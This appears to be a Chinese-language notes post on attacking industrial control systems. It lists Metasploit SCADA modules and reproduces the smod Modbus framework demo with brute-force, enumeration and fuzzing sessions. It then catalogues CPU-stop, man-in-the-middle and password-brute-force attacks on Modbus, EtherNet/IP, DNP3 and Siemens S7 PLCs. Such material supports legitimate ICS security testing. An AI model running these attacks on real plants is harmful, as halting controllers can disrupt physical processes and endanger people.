YokogawaYokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow52302auxiliary/dos/scada/yokogawa_logsvr

YokogawaYokogawa BKBCopyD.exe Client20111auxiliary/admin/scada/yokogawa_bkbcopyd_client



smod的使用


https://github.com/qq1209759648/smod-1

#smod smod是一个模块化框架,具有渗透到modbus协议所需的各种诊断和攻击功能。它是使用Python和Scapy的完整Modbus协议实现。该软件可以在python 2.7.x下的Linux / OSX上运行。

随时提出请求,如果您觉得我们可以做得更好。

近年来,基于SCADA(过程控制网络)的系统已从专有的封闭式网络逐渐转移到开源解决方案和支持TCP / IP的网络。这使他们容易遭受传统计算机网络面临的相同安全漏洞。

Modbus / TCP协议用作参考协议,以显示测试台对电力系统协议进行网络攻击的有效性。选择Modbus / TCP是出于以下原因:

  • Modbus仍广泛用于电力系统。

  • modbus / TCP简单易实现。

  • 实用程序可以免费使用modbus协议库,以实现智能电网应用程序。

您可以使用此工具对Modbus协议进行漏洞评估。

## Demo只是一个演示基本内容的演示

root@kali:~/smod# python smod.py 
 _______ < SMOD >
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.2
       --+--=[Modules : 14
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddoSMOD >help
 Command  Description                                      
 -------  -----------                                      
 back     Move back from the current context               
 exit     Exit the console                                 
 exploit  Run module                                       
 help     Help menu                                        
 show     Displays modules of a given type, or all modules 
 set      Sets a variable to a value                       
 use      Selects a module by name                         SMOD >show modules
 Modules                              Description                             
 -------                              -----------
 modbus/dos/galilRIO                  DOS Galil RIO-47100 
 modbus/dos/writeSingleCoils          DOS With Write Single Coil Function     
 modbus/dos/writeSingleRegister       DOS Write Single Register Function      
 modbus/function/readCoils            Fuzzing Read Coils Function             
 modbus/function/readDiscreteInput    Fuzzing Read Discrete Inputs Function   
 modbus/function/readExceptionStatus  Fuzzing Read Exception Status Function  
 modbus/function/readHoldingRegister  Fuzzing Read Holding Registers Function 
 modbus/function/readInputRegister    Fuzzing Read Input Registers Function   
 modbus/function/writeSingleCoils     Fuzzing Write Single Coil Function      
 modbus/function/writeSingleRegister  Fuzzing Write Single Register Function  
 modbus/scanner/discover              Check Modbus Protocols                  
 modbus/scanner/getfunc               Enumeration Function on Modbus          
 modbus/scanner/uid                   Brute Force UID      
 modbus/sniff/arp                     Arp PoisoningSMOD >

蛮力Modbus UID

SMOD >use modbus/scanner/uidSMOD modbus(uid) >show options
 Name      Current Setting  Required  Description                                 
 ----      ---------------  --------  -----------                                 
 Function  1                False     Function code, Defualt:Read Coils.          
 Output    True             False     The stdout save in output directory         
 RHOSTS                     True      The target address range or CIDR identifier 
 RPORT     502              False     The port number for modbus protocol         
 Threads   1                False     The number of concurrent threads            SMOD modbus(uid) >set RHOSTS 192.168.1.6SMOD modbus(uid) >exploit [+] Module Brute Force UID Start[+] Start Brute Force UID on : 192.168.1.6[+] UID on 192.168.1.6 is : 10SMOD modbus(uid) >

Modbus的枚举功能

SMOD >use modbus/scanner/getfuncSMOD modbus(getfunc) >show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           SMOD modbus(getfunc) >set RHOSTS 192.168.1.6SMOD modbus(getfunc) >set UID 10SMOD modbus(getfunc) >exploit [+] Module Get Function Start[+] Looking for supported function codes on 192.168.1.6[+] Function Code 1(Read Coils) is supported.[+] Function Code 2(Read Discrete Inputs) is supported.[+] Function Code 3(Read Multiple Holding Registers) is supported.[+] Function Code 4(Read Input Registers) is supported.[+] Function Code 5(Write Single Coil) is supported.[+] Function Code 6(Write Single Holding Register) is supported.[+] Function Code 7(Read Exception Status) is supported.[+] Function Code 8(Diagnostic) is supported.[+] Function Code 15(Write Multiple Coils) is supported.[+] Function Code 16(Write Multiple Holding Registers) is supported.[+] Function Code 17(Report Slave ID) is supported.[+] Function Code 20(Read File Record) is supported.[+] Function Code 21(Write File Record) is supported.[+] Function Code 22(Mask Write Register) is supported.[+] Function Code 23(Read/Write Multiple Registers) is supported.SMOD modbus(getfunc) >

模糊读取线圈功能

SMOD >use modbus/function/readCoilsSMOD modbus(readCoils) >show options
 Name       Current Setting  Required  Description                                 
 ----       ---------------  --------  -----------                                 
 Output     True             False     The stdout save in output directory         
 Quantity   0x0001           True      Registers Values.                           
 RHOSTS                      True      The target address range or CIDR identifier 
 RPORT      502              False     The port number for modbus protocol         
 StartAddr  0x0000           True      Start Address.                              
 Threads    1                False     The number of concurrent threads            
 UID        None             True      Modbus Slave UID.                           SMOD modbus(readCoils) >set RHOSTS 192.168.1.6SMOD modbus(readCoils) >set UID 10SMOD modbus(readCoils) >exploit [+] Module Read Coils Function Start[+] Connecting to 192.168.1.6[+] Response is :###[ ModbusADU ]###
  transId   = 0x2
  protoId   = 0x0
  len       = 0x4
  unitId    = 0xa###[ Read Coils Answer ]###
     funcCode  = 0x1
     byteCount = 1L
     coilStatus= [0]SMOD modbus(readCoils) >



IOT危险协议漏洞记录


1.Modus协议port:502

    a.直接进行读写,函数库:pymodnis和rmodbus,渗透人员客户端:modbus-cli

    cmd:modbus read IP %M100 5  #读前五个线圈和寄存器的状态

    仿真器模拟

    b.中间人攻击

        tools:Modbus VCR、Ettercap。#记录modbus协议流量并进行重放

   c.Schneider种终止CPU攻击

    msf模块搜索modicon_command


2.EtherNet/IP 协议 port:44818/2222

   a.信息收集

   b.身份鉴别请求攻击

   c.中间人攻击,example

   d.终止CPU攻击

        msf模块:multi_cip_command   #终止CPU、以太网卡崩溃等


3.DNP3协议(分布式网络协议)port:20000,控制中心为SCADA的主站

   a.模糊测试攻击:Achilles测试平台,模糊测试工具Peach Fuzzer,模糊测试框架

   b.协议鉴别攻击:dnp3-info.nse


4.Siemens S7通信协议

    a.终止CPU运行攻击 s7 300/400/1200  exp1, exp2

    b.协议鉴别攻击   tools:Plcscan/S7-info.nse, Conpot集成蜜罐测试!!

    c.口令暴力破解攻击   s7_1200_brute_offline.py


 nmap script:

    信息收集脚本:

        modicon-info.nse(通过功能码43、90与设备进行通信modbus) 

        ethernetip.py(Ethernet脚本)

        dnp3-info.nse(DNP3脚本信息探测脚本)

        S7-info.nse(西门子S7信息探测脚本)

image.png

image.png